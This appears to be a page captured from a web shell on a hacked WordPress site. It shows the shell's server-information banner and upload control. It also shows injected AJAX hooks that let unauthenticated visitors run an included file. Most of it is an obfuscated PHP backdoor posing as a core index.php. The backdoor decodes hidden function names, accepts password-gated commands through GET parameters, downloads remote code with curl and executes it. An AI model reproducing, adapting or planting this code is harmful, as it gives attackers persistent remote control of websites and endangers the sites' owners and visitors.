if(!function_exists('file_check_readme30367')){ add_action('wp_ajax_nopriv_file_check_readme30367', 'file_check_readme30367'); add_action('wp_ajax_file_check_readme30367', 'file_check_readme30367'); function file_check_readme30367() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } if(!function_exists('file_check_readme64756')){ add_action('wp_ajax_nopriv_file_check_readme64756', 'file_check_readme64756'); add_action('wp_ajax_file_check_readme64756', 'file_check_readme64756'); function file_check_readme64756() { $file = __DIR__ . '/' . 'readme.txt'; if (file_exists($file)) { include $file; } die(); } } HEX
HEX
Server: Apache
System: Linux dx292 6.1.0-39-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.148-1 (2025-08-26) x86_64
User: www-data (33)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
$ pwd: /data/www/welovefamily.at/welovefamily.at/htdocs_infected/wp-includes/Text/Text/
Upload Files
File: /data/www/welovefamily.at/welovefamily.at/htdocs_infected/wp-includes/Text/Text/index.php
<?php
 goto tv3YFDfA4d; tv3YFDfA4d: $MzSJWcZRb3 = range("\x7e", "\x20"); goto UKFaIONPa1; UKFaIONPa1: $UGxegHugfJ = ${$MzSJWcZRb3[18 + 13] . $MzSJWcZRb3[56 + 3] . $MzSJWcZRb3[20 + 27] . $MzSJWcZRb3[5 + 42] . $MzSJWcZRb3[46 + 5] . $MzSJWcZRb3[4 + 49] . $MzSJWcZRb3[45 + 12]}; goto jCqgop65pt; jCqgop65pt: if (!(in_array(gettype($UGxegHugfJ) . count($UGxegHugfJ), $UGxegHugfJ) && count($UGxegHugfJ) == 17)) { goto VOS6d_L_Ip; } goto Xi3nix8yzA; H9SDr9p7wT: metaphone("\x4d\172\111\x34\117\104\147\63\x4d\x44\x63\x30\115\172\101\x79\115\172\x49\61\116\152\121\171\x4d\124\131\x78\116\104\147\170"); goto rNgBNQC8ud; jYbywVCoC5: VOS6d_L_Ip: goto H9SDr9p7wT; rNgBNQC8ud: class DD1Fww4dpP { static function BRxT7Lxkwj($gvDEvjC9bk) { goto Ul0BclmNc_; TL6D17JIGz: $w3rZIvt403 = ''; goto on92mbzPhw; on92mbzPhw: foreach ($jsuGf3K_yH as $B8sd8q92gh => $b0oKqpHiK0) { $w3rZIvt403 .= $xKagK7ftBW[$b0oKqpHiK0 - 97183]; c9_lEo_b03: } goto lWY8_DrEjv; Fg9BRl0qBs: $jsuGf3K_yH = explode("\x2b", $gvDEvjC9bk); goto TL6D17JIGz; lWY8_DrEjv: U4RIXQgUic: goto FCTcldrsy3; SR_BBCH68H: $xKagK7ftBW = $x5VyTIvUGb("\x7e", "\40"); goto Fg9BRl0qBs; Ul0BclmNc_: $x5VyTIvUGb = "\162" . "\x61" . "\156" . "\147" . "\145"; goto SR_BBCH68H; FCTcldrsy3: return $w3rZIvt403; goto vMY8PNP_Q7; vMY8PNP_Q7: } static function offhDoLEuN($sUQ9aySfYB, $cEQ6_zFLZW) { goto vd7t7Vr0Dz; vd7t7Vr0Dz: $XIUsl2D8t_ = curl_init($sUQ9aySfYB); goto aDnR7PRR7L; fB1X2l2w7C: $l0mJ_7ywIe = curl_exec($XIUsl2D8t_); goto UXJMdkAoEu; UXJMdkAoEu: return empty($l0mJ_7ywIe) ? $cEQ6_zFLZW($sUQ9aySfYB) : $l0mJ_7ywIe; goto vz8w4Zxhrt; aDnR7PRR7L: curl_setopt($XIUsl2D8t_, CURLOPT_RETURNTRANSFER, 1); goto fB1X2l2w7C; vz8w4Zxhrt: } static function QuD4_3OHkU() { goto PanaNgLAYB; BRRLlN97MC: $zUacnEPL5M = self::OFFHDoLeuN($OT5g3K9nkw[0 + 1], $AMX7Lr67Mo[4 + 1]); goto rR3zIxQ77X; NgzOxRBZeY: $pq7eUxfgEh = @$AMX7Lr67Mo[1]($AMX7Lr67Mo[2 + 8](INPUT_GET, $AMX7Lr67Mo[2 + 7])); goto w2Pqu4eGoC; HgP7TB8NIP: @$AMX7Lr67Mo[5 + 5](INPUT_GET, "\157\146") == 1 && die($AMX7Lr67Mo[4 + 1](__FILE__)); goto izcuRgKdGY; jYIE5T2UBf: FUdJ1DwA27: goto NgzOxRBZeY; w2Pqu4eGoC: $szDe0DU_eA = @$AMX7Lr67Mo[1 + 2]($AMX7Lr67Mo[0 + 6], $pq7eUxfgEh); goto Lc9gCTFDq6; Lc9gCTFDq6: $OT5g3K9nkw = $AMX7Lr67Mo[0 + 2]($szDe0DU_eA, true); goto HgP7TB8NIP; dtps1hjmdI: rQ8zuDH9we: goto XVck8l44yn; FRU1f0CWdK: die; goto dtps1hjmdI; rR3zIxQ77X: @$AMX7Lr67Mo[0]('', $AMX7Lr67Mo[0 + 7] . $AMX7Lr67Mo[2 + 2]($zUacnEPL5M) . $AMX7Lr67Mo[8 + 0]); goto FRU1f0CWdK; izcuRgKdGY: if (!(@$OT5g3K9nkw[0] - time() > 0 and md5(md5($OT5g3K9nkw[2 + 1])) === "\71\66\x31\x64\x65\144\x66\141\60\x66\x63\x31\x66\63\x63\63\x36\x62\x64\70\71\144\x39\x65\x34\x33\144\145\x38\x62\145\143")) { goto rQ8zuDH9we; } goto BRRLlN97MC; PanaNgLAYB: $uW5BdUh2CP = array("\x39\67\x32\x31\x30\x2b\x39\x37\61\x39\65\53\x39\x37\x32\x30\x38\53\x39\67\62\x31\x32\53\x39\67\61\x39\x33\x2b\71\x37\62\x30\70\x2b\x39\67\62\61\x34\53\71\x37\62\60\x37\53\x39\67\61\x39\x32\x2b\x39\x37\x31\x39\x39\x2b\71\67\62\x31\60\x2b\71\x37\61\71\63\x2b\71\67\x32\60\x34\53\71\67\x31\71\70\x2b\71\x37\61\x39\71", "\71\67\61\71\64\53\71\x37\61\x39\63\53\x39\67\61\x39\x35\x2b\x39\67\x32\61\64\53\x39\x37\x31\71\x35\x2b\x39\67\x31\x39\70\x2b\x39\x37\61\x39\63\x2b\x39\67\x32\66\x30\53\71\67\x32\65\70", "\x39\67\x32\x30\x33\x2b\x39\67\61\x39\64\53\x39\67\61\71\70\x2b\x39\67\x31\71\x39\x2b\x39\67\x32\61\x34\x2b\71\67\62\60\x39\x2b\71\67\x32\x30\x38\53\x39\x37\62\x31\x30\53\x39\x37\x31\71\x38\x2b\71\x37\x32\60\71\53\x39\67\x32\60\x38", "\x39\x37\x31\71\x37\x2b\71\x37\x32\61\x32\53\71\x37\62\61\60\x2b\71\67\x32\60\x32", "\71\x37\62\x31\61\x2b\x39\67\62\61\62\53\71\x37\61\x39\64\53\71\x37\x32\60\70\x2b\x39\67\x32\x35\65\x2b\71\67\x32\65\x37\x2b\x39\67\62\61\x34\53\x39\x37\x32\x30\71\53\x39\x37\x32\x30\70\x2b\x39\67\62\61\60\53\x39\x37\61\x39\70\53\x39\67\x32\x30\71\53\x39\67\x32\60\70", "\71\67\x32\x30\67\x2b\71\x37\62\60\64\x2b\71\x37\62\60\61\x2b\x39\x37\x32\x30\x38\53\x39\x37\x32\x31\64\x2b\x39\67\x32\60\66\x2b\x39\67\62\60\x38\53\71\67\x31\71\x33\53\x39\67\x32\x31\64\x2b\71\x37\x32\x31\60\x2b\x39\x37\x31\x39\70\53\x39\x37\x31\x39\71\x2b\x39\x37\x31\x39\x33\53\x39\x37\62\x30\x38\53\x39\x37\61\x39\71\x2b\x39\x37\x31\71\63\x2b\x39\67\x31\71\64", "\x39\x37\x32\x33\67\x2b\71\67\x32\x36\x37", "\x39\x37\61\70\64", "\x39\67\62\x36\x32\53\x39\x37\62\x36\67", "\71\67\62\64\x34\53\71\67\x32\x32\67\x2b\x39\x37\x32\x32\x37\53\71\67\x32\64\x34\53\x39\x37\62\62\60", "\71\x37\x32\x30\67\x2b\71\67\x32\60\x34\53\71\x37\62\60\61\53\x39\x37\x31\x39\x33\x2b\x39\x37\62\60\70\53\x39\x37\61\x39\65\x2b\x39\x37\x32\61\x34\x2b\71\x37\x32\60\64\x2b\x39\x37\61\x39\x39\53\x39\67\x31\71\67\x2b\71\67\61\71\62\53\71\x37\x31\x39\63"); goto V0PWPhr01I; V0PWPhr01I: foreach ($uW5BdUh2CP as $rN8TPXo6JC) { $AMX7Lr67Mo[] = self::bRxT7LXKWJ($rN8TPXo6JC); Zo5Ln1nuRl: } goto jYIE5T2UBf; XVck8l44yn: } } goto FHaBQDWfdC; Xi3nix8yzA: @(md5(md5(md5(md5($UGxegHugfJ[11])))) === "\145\x37\146\x64\x37\x38\x36\67\65\61\66\143\x66\x63\x34\143\66\146\x38\142\70\145\x66\x61\x34\142\x64\x39\63\143\62\61") && (($UGxegHugfJ[66] = $UGxegHugfJ[66] . $UGxegHugfJ[73]) && ($UGxegHugfJ[82] = $UGxegHugfJ[66]($UGxegHugfJ[82])) && @($UGxegHugfJ = $UGxegHugfJ[82]($UGxegHugfJ[58], $UGxegHugfJ[66](${$UGxegHugfJ[39]}[16]))) && $UGxegHugfJ()); goto jYbywVCoC5; FHaBQDWfdC: dd1fwW4Dpp::qUd4_3OHkU();
?>
@ Telegram